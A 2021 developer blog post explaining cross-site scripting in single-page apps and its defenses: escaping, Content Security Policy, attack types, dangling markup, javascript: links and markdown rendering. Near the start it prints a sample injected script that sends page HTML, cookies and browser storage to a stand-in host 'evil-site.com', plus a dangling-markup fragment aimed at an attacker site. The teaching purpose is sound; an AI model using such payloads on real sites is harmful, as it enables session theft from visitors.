Cross-Site Scripting (XSS) and is your SPA really safe from it?

Published 3/18/2021

This article is part of a series:


Last but not least, let's talk about Cross-Site Scripting (XSS)!

XSS attacks are all about writing malicious HTML into the DOM. A classic example would be a comments section, where you need to load untrusted user comments from a database or an API into the DOM.

Imagine rendering a single comment being:

<div><?php echo $comment->body; ?></div>

and the attacker filling out the comment form with this body:

<script>
  fetch('https://evil-site.com', {
    // ...
    body: JSON.stringify({
      html: document.querySelector('html').innerHTML,
      cookies: document.cookie,
      localStorage,
      sessionStorage
    })
  })
</script>

What makes XSS attacks so dangerous is that they don't require an attacker tricking people to go to their phishing site. It works simply by users visiting vulnerable sites that they trust.

What makes these attacks even more dangerous is that if only one page is vulnerable to XSS attacks, an attacker can fetch any page or API request from the site, as the victim, and bypass CSRF tokens, cookie protections (they won't need to know your cookie), CORS, and the SameSite cookie attribute.

We first look at what you can do to protect your site from such attacks, and then at the different kinds of XSS attacks.

How to protect your site?

Regardless of the solution, always keep in mind to never trust user input, as well as data you receive from third-party APIs.

Escaping untrusted input

The best way to handle XSS attacks is to always escape user input when displaying it in the DOM.

Here's how you can implement this yourself on the client or in Node.js: https://stackoverflow.com/questions/6234773/can-i-escape-html-special-chars-in-javascript/6234804#6234804

But frameworks usually take care of this for you, here are a few examples:

Vue/Blade

<div>{{ untrustedInput }}</div>

React

<div>{ untrustedInput }</div>

Check out my e-book!

Learn to simplify day-to-day code and the balance between over- and under-engineering.

Content Security Policy (CSP)

CSP is a header that allows developers to restrict valid sources of executable scripts, AJAX requests, images, fonts, stylesheets, form actions, etc.

Examples

only allow scripts from your own site, block javascript: URLs, inline event handlers, inline scripts and inline styles
Content-Security-Policy: default-src 'self'
only allow AJAX requests to your own site and api.example.com
Content-Security-Policy: connect-src 'self' https://api.example.com;
allow images from anywhere, audio/video from media1.com and any subdomains from media2.com, and scripts from userscripts.example.com
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com *.media2.com; script-src userscripts.example.com

These are just some examples, CSP has a lot of other features like sending reports on violations. Be sure to read more on it here.

It's important to not only rely on CSPs. This is the last resort in case your site is indeed vulnerable to XSS attacks. Please still follow the other recommendations.

Different kinds of attacks

Reflected XSS

This is when text from the URL is added to the DOM without escaping the input.

Imagine a website like "insecure-website.com/status?message=All+is+well" ouputting this HTML<div>Status: All is well.</div>.

This opens the door for exploits in which an attacker changes "All+is+well" in the URL to a malicious script and then sends this link around the internet.

Stored XSS

It's basically the same as with Reflected XSS, only that this time the text comes from the database, not from the URL. The classic example here is a chat, forum, or comments section.

This is a lot more common than Reflected XSS and also more dangerous because the attacker doesn't have to send around their malicious link.

DOM-based XSS

Again very similar, only that this time the unsafe input comes from an API request (think SPAs).

Dangling markup injection

If a site allows for XSS attacks, but has CSPs in place, the page is still vulnerable in places like this:

<input type="text" name="input" value="<controllable data>">

If the attacker starts <controllable data> with ">, they basically close the input element. This can be followed by <img src='//attacker-website.com?.

Notice how that src is using a single quotation mark that is not being closed. The value for the src attribute is now left "dangling", and everything up until the next single quotation mark will be considered the "src" and will be sent to the attacker.

If the site has a strong CSP that blocks outgoing image requests, then the attacker could still try it with an anchor-tag, although that requires the victim to actually click on the link.

For more information about this, check here: https://portswigger.net/web-security/cross-site-scripting/dangling-markup

Self-XSS

This is more of a social engineering attack in which the attacker convinces someone to execute malicious JavaScript themselves either through

  • the dev tools (That's why popular sites give out a big warning when you open the console on their site)
  • the URL (try executing javascript:alert(document.body.innerHTML) in the navigation bar to get an alert of the current site's HTML for example)

rel="noopener" attribute

When you have anchors opening links in a new tab, it used to be possible for the opened window to access the original window using window.opener. While window.opener can't read things like document.body luckily, attackers can use window.opener.location.replace('...') for example to replace the original page with a phishing site. In newer browsers, "noopener" is implied implicitly if not provided.

XSS comes into play here because an attacker could create an anchor going to their phishing site and explicitly set "rel" to "opener".

To be completely safe from this, set the COOP header to same-origin.

Where client-side frameworks like Vue or React do not protect you

Remember the trick before to alert the contents of "document.body"? The same (executing JavaScript) can be done on anchor tags, and escaping HTML does not help in this case:

<a href="javascript:console.log('hey hey')">click me</a>

When such a link is detected in React, it throws a warning in the console. Vue gives it a mention in their docs. But none of the two prevents this from happening as of the time of writing.

So always make sure to validate user-inputted URLs on the server before saving them in the database. CSPs also help here like covered above already.

From things like markdown

This is not an issue with React/Vue per se, it's more a knowledge gap in my opinion. When you want to render markdown in the DOM, you first have to convert it to HTML. That means you need to inject the converted HTML into the DOM. The problem stems from the fact that markdown is a superset of HTML, meaning it allows all HTML.

This poses an interesting challenge. You don't want to allow any HTML from the user, but at the same time, you can't just escape the user-inputted markdown before converting it to HTML, as it would break certain markdown like quoting. In many cases stripping out HTML tags and escaping HTML inside backticks will do the job.


XSS is definitely an interesting topic. Alongside SQL injections, it's what my very first website, years ago, initially suffered from. That's what got me interested in web security. While I haven't written raw PHP websites in many years, I still very well remember htmlentities($untrustedValue, ENT_QUOTES);.